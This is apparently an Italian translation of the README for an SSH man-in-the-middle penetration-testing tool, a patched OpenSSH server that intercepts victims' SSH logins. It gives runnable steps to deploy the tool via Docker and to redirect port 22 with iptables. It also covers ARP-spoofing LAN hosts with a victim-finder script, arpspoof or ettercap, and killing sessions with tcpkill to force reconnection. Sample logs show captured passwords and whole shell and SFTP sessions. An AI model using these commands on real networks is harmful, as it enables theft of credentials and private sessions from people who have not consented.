
Strumento man-in-the-middle SSH
Autore: Joe Testa (@therealjoetesta)
Questo strumento di penetration testing consente a un auditor di intercettare connessioni SSH. Una patch applicata al codice sorgente di OpenSSH v7.5p1 lo fa agire come proxy tra la vittima e il suo server SSH di destinazione; tutte le password in chiaro e le sessioni vengono registrate su disco.
Ovviamente, il client SSH della vittima si lamenterà che la chiave del server è cambiata. Ma poiché nel 99,99999% dei casi ciò è causato da un'azione legittima (reinstallazione del sistema operativo, modifica della configurazione, ecc.), molti/la maggior parte degli utenti ignoreranno l'avviso e proseguiranno.
NOTA: Esegui il sshd_mitm modificato solo in una VM o container! Modifiche ad-hoc sono state apportate al codice sorgente di OpenSSH in regioni critiche, senza riguardo per le implicazioni di sicurezza. Non è difficile immaginare che queste modifiche introducano vulnerabilità gravi.
Il modo più rapido e semplice per iniziare è utilizzare l'immagine Docker con SSH MITM pre-costruito.
1.) Ottieni l'immagine da Dockerhub con:
$ docker pull positronsecurity/ssh-mitm
2.) Successivamente, esegui il container con:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) Abilita l'inoltro IP e le rotte NAT sulla macchina host:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) Trova i target sulla LAN e falsifica ARP (vedi sotto).
5.) Le sessioni shell e SFTP verranno registrate nella directory ssh_mitm_logs.
Come root, esegui lo script install.sh. Questo installerà i prerequisiti dai repository, scaricherà l'archivio di OpenSSH, ne verificherà la firma, lo compilerà e inizializzerà un ambiente non privilegiato in cui eseguirlo.
Lo script JoesAwesomeSSHMITMVictimFinder.py rende molto facile trovare target su una LAN. Falsificherà ARP su un blocco di IP e fiuterà il traffico SSH per un breve periodo prima di passare al blocco successivo. Vengono segnalate tutte le connessioni SSH attive provenienti da dispositivi sulla LAN.
Per impostazione predefinita, JoesAwesomeSSHMITMVictimFinder.py falsificherà ARP e fiuterà solo 5 IP alla volta per 20 secondi prima di passare al blocco successivo di 5. Questi parametri possono essere regolati, anche se esiste un compromesso: più IP vengono falsificati contemporaneamente, maggiore è la possibilità di intercettare una connessione SSH attiva, ma anche maggiore è lo stress sulla tua misera scheda di rete. Sotto un carico troppo elevato, la tua interfaccia inizierà a perdere frame, causando un denial-of-service e sollevando forti sospetti (questo è negativo). I valori predefiniti non dovrebbero causare problemi nella maggior parte dei casi, anche se ci vorrà più tempo per trovare i target. La dimensione del blocco può essere aumentata in modo sicuro su reti a bassa utilizzazione.
Esempio:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
L'output sopra mostra che due dispositivi sulla LAN hanno creato connessioni SSH (10.11.12.43 e 10.11.12.70); questi possono essere presi di mira per un attacco man-in-the-middle. Nota, tuttavia, che per intercettare potenzialmente le credenziali, dovrai attendere che avviino nuove connessioni. I pentester impazienti possono scegliere di chiudere forzatamente le sessioni SSH esistenti (usando lo strumento tcpkill), spingendo i client a crearne immediatamente di nuove...
1.) Una volta completata la configurazione iniziale e trovata una lista di potenziali vittime (vedi sopra), esegui start.sh come root. Questo avvierà sshd_mitm, abiliterà l'inoltro IP e configurerà l'intercettazione dei pacchetti SSH tramite iptables.
2.) Falsifica ARP del/dei target (Consiglio: NON falsificare tutto! La tua misera scheda di rete probabilmente non sarà in grado di gestire tutto il traffico di un'intera rete contemporaneamente. Falsifica solo un paio di IP alla volta):
arpspoof -r -t 192.168.x.1 192.168.x.5
In alternativa, puoi usare lo strumento ettercap:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) Monitora auth.log. Le password intercettate appariranno qui:
sudo tail -f /var/log/auth.log
4.) Una volta stabilita una sessione, un log completo di tutti gli input e output può essere trovato in /home/ssh-mitm/. Le sessioni SSH vengono registrate come shell_session_*.txt, e le sessioni SFTP come sftp_session_*.html (con i file trasferiti memorizzati in una directory corrispondente).
In caso di successo, /var/log/auth.log conterrà righe che registrano la password, come questa:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
Inoltre, l'intera sessione SSH della vittima viene registrata:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
Nota che i caratteri nei comandi dell'utente appaiono due volte nel file perché viene registrato sia l'input dell'utente che l'output della shell (che rimanda indietro i caratteri). Osserva che quando programmi come sudo e ssh disabilitano temporaneamente l'eco per leggere una password, i caratteri duplicati non vengono registrati.
Anche tutta l'attività SFTP viene catturata. Usa un browser per visualizzare sftp_session_0.html. Contiene un log dei comandi, con collegamenti ai file caricati e scaricati:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
In lol.h ci sono due define: DEBUG_HOST e DEBUG_PORT. Abilitali e imposta l'hostname su un server di test. Ora puoi connetterti direttamente a sshd_mitm senza usare ARP spoofing per testare le tue modifiche, ad esempio:
ssh -p 2222 valid_user_on_debug_host@localhost
Per testare le modifiche al codice sorgente di OpenSSH, usa lo script dev/redeploy.sh.
Per vedere un diff delle modifiche non committate, usa lo script dev/make_diff_of_uncommitted_changes.sh.
Per rigenerare una patch completa per i sorgenti OpenSSH, usa lo script dev/regenerate_patch.sh.